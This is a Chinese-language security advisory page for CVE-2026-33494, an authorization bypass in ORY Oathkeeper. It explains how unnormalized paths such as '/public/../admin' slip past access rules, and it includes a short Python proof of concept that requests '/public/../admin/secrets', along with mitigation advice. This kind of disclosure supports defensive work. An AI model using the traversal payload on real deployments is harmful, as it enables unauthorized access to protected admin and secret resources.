IPBUF安全漏洞报告
English
CVE-2026-33494 CVSS 10.0 严重

CVE-2026-33494 ORY Oathkeeper 授权绕过漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-33494
漏洞类型
授权绕过
CVSS评分
10.0 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ORY Oathkeeper

相关标签

授权绕过路径遍历ORY OathkeeperWeb安全CVE-2026-33494

漏洞概述

ORY Oathkeeper 在 26.2.0 之前的版本中存在一处严重的授权绕过漏洞。该漏洞源于系统在评估访问规则时使用了原始的、未规范化的 HTTP 请求路径。攻击者可以通过精心构造包含路径遍历序列(如 `/public/../admin`)的恶意 URL,欺骗访问控制机制,使其匹配到较为宽松的规则,进而未授权访问受保护的敏感资源,如管理后台或密钥接口。

技术细节

该漏洞的核心在于 ORY Oathkeeper 处理 HTTP 路径时的不一致性。当收到请求时,Oathkeeper 的规则匹配器直接处理原始 URL 路径,未对 `../` 等遍历字符进行标准化处理。然而,后端服务或路由解析器在处理请求时,通常会先对路径进行规范化(即解析 `..` 为上一级目录)。攻击者利用这一差异,假设存在一条允许访问 `/public` 的规则,攻击者请求 `/public/../admin/config`。在规则匹配阶段,字符串被识别为 `/public/...` 从而通过验证;但在实际资源解析阶段,路径被标准化为 `/admin/config`,导致攻击者成功绕过权限检查,获取敏感数据。CVSS 评分 10.0 表明该漏洞可被远程利用且无需用户交互,危害极大。

攻击链分析

STEP 1
侦察
攻击者识别目标运行的是 ORY Oathkeeper,并发现存在允许公开访问的路径(如 /public)和受保护的路径(如 /admin)。
STEP 2
构造攻击载荷
攻击者利用路径遍历技术,构造包含 `../` 序列的 URL(例如 /public/../admin),试图在不改变最终目标路径的情况下绕过规则匹配。
STEP 3
规则匹配绕过
Oathkeeper 接收到请求,使用原始路径 `/public/../admin` 与规则库比对,匹配到了允许 `/public` 的宽松规则,从而放行请求。
STEP 4
未授权访问
后端服务器在处理请求时将路径规范化为 `/admin`,返回了本应受保护的敏感资源,攻击者成功获取数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-33494: ORY Oathkeeper Authorization Bypass # This script demonstrates how a path traversal sequence can bypass access rules. import requests def check_vulnerability(target_url): # Scenario: /public is an allowed path, /admin is restricted # The attack payload uses path traversal to reach /admin payload_path = "/public/../admin/secrets" full_url = f"{target_url.rstrip('/')}{payload_path}" print(f"[+] Sending request to: {full_url}") try: response = requests.get(full_url, timeout=10) # Check if the request was successful (indicating a bypass) if response.status_code == 200: print("[!] Potential Vulnerability Detected!") print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Content Preview: {response.text[:200]}") else: print(f"[-] Access Denied or Patched. Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error connecting to target: {e}") if __name__ == "__main__": target = "http://localhost:4456" # Replace with actual target check_vulnerability(target)

影响范围

ORY Oathkeeper < 26.2.0

防御指南

临时缓解措施
如果无法立即升级,建议在 Oathkeeper 前置的反向代理(如 Nginx)或 WAF 中配置规则,对入站 HTTP 请求进行路径规范化检查,拦截包含 `../`、`..\` 或 URL 编码形式的路径遍历字符的请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表